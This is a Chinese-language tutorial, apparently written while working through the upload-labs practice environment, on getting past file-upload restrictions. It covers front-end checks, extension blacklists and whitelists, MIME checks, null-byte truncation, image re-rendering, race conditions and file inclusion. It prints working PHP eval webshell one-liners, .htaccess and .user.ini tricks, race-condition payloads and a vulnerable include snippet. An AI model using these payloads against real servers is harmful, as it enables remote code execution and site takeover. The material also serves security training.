00.前言
本篇各种常规的绕过方法应该都有提及,当然肯定也会有所遗漏和错误,本人也就入门不久的水平,希望各位大佬不吝指教。
一.前端绕过
1.删除前端校验函数
将js中的代码删除即可
2.禁用js代码
先F12再F1来到偏好设置
再找到停用JavaScript,勾选即可
3.bp修改数据包
上传符合要求的后缀名,用bp抓包,修改为木马后缀名即可
二.黑名单绕过
1.等价扩展名绕过
2.上传.htaccess文件
<FilesMatch "info.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
此文件的内容大概意思为,.htaccess文件可以将info.jpg文件当作php文件解析执行。
3.大写绕过(仅Windows)
修改php文件的后缀为info.PHp,然后上传此文件即可
4.空格绕过(仅Windows)
利用bp抓包,在文件扩展名后加空格即可,如图
5.点号绕过(仅Windows)
扩展名后加点,如图
6.::$DATA绕过限制(仅Windows)
Windows系统在保存info.php::$DATA一类的文件时会自动去除文件后的::$DATA字符串,保存的文件名为info.php。
7.空格+点号绕过
8.双写绕过(str_ireplace函数)
程序中的str_ireplace函数会将黑名单中的后缀替换为空,但是只替换了一次,因此我们可以使用双写绕过此函数。
9.00截断(move_uploaded_file函数)
move_uploaded_file()函数本身存在逻辑漏洞缺陷,可以实现00截断绕过。也可以在php文件名后添加任意字符,只要不在黑名单限制内都可成功上传文件。
10.php其他标签绕过
<?php @eval($_POST['cmd']); ?> //正常写法
<? @eval($_POST['cmd']); ?> //短标签,适合过滤php
<% @eval($_POST['cmd']); %> //asp风格
<script language='php'>@eval($_POST['cmd']);</script> //<script>风格,适合过滤<?
11.文件头检测绕过
可以通过php截断后,添加GIF89a进行绕过
也可以通过修改16进制绕过
12..user.ini
数据包修改为名为.user.ini
类型为image/png
内容为“GIF89a auto_prepend_file=2.png”
三.白名单绕过
1.MIME绕过
常见类型
抓包将其content-type字段的类型修改为image/jpeg,即可绕过检测
2.GET型00截断(仅Windows)
windows系统识别到文件名中00的时候将不再向后识别
仅适用于
php版本小于5.3.4
php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off
3.POST型00截断
在upload12.php文件后添加00
4.二次渲染
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),生成一个新的图片保存至服务器中。我们可以将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
制作图片马
图片马上传后,重新下载
将图片马与下载后的图片进行十六进制比较。
选择此处找到了两个文件数据相同块,在下载后的图片数据相同处插入php恶意语句保存即可。
也可以通过 imagecreatefromgif函数直接转换与原图片进行对比
<?php
$demo = imagecreatefromgif('file');
imagegif($demo,"outfile");
?>
5.条件竞争时间差
当文件上传后,服务器会首先保存然后重命名,最后再把源文件删除。在文件删除之前,如果线程过大可能导致服务器处理数据变慢,从而使黑客有时间对上传的webshell进行访问。此过程只会删除上传的文件,但是不会删除生成的文件,因此可以使用如下的php代码获取shell。
<?php file_put_contents("info.php",'<?php phpinfo();)?>')?>
#file_put_contents()把字符串写入文件中
<?php fputs(fopen('info.php','w'),'<?php phpinfo();?>');?>
服务器只会删除我们上传的源文件,但不会删除我们利用这个源文件生成的文件
上传fputs.php文件并抓包发送至intruder模块。
设置payload
设置线程数:
浏览器持续不断的访问http://10.1.36.39/upload-labs/upload/fputs.php路径,直到成功为止。然后会在upload目录下生成info.php文件。
也可使用脚本协同攻击
import requests
url = "ip"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
6.apache的addhandler配置解析漏洞
阿帕奇对于解析的文件扩展名会从右往左开始解析,当最右边后缀无法解析时,会往左识别,直到识别合法才进行解析
7.白名单配合文件包含漏洞
文件包含漏洞会将任意类型的文件当作php文件进行解析,如果文件中包含了php代码,则其中的php代码将会执行。
<?php
$a=$_GET['inc'];
include($a);
?>
上传一个图片马,通过文件包含包含此文件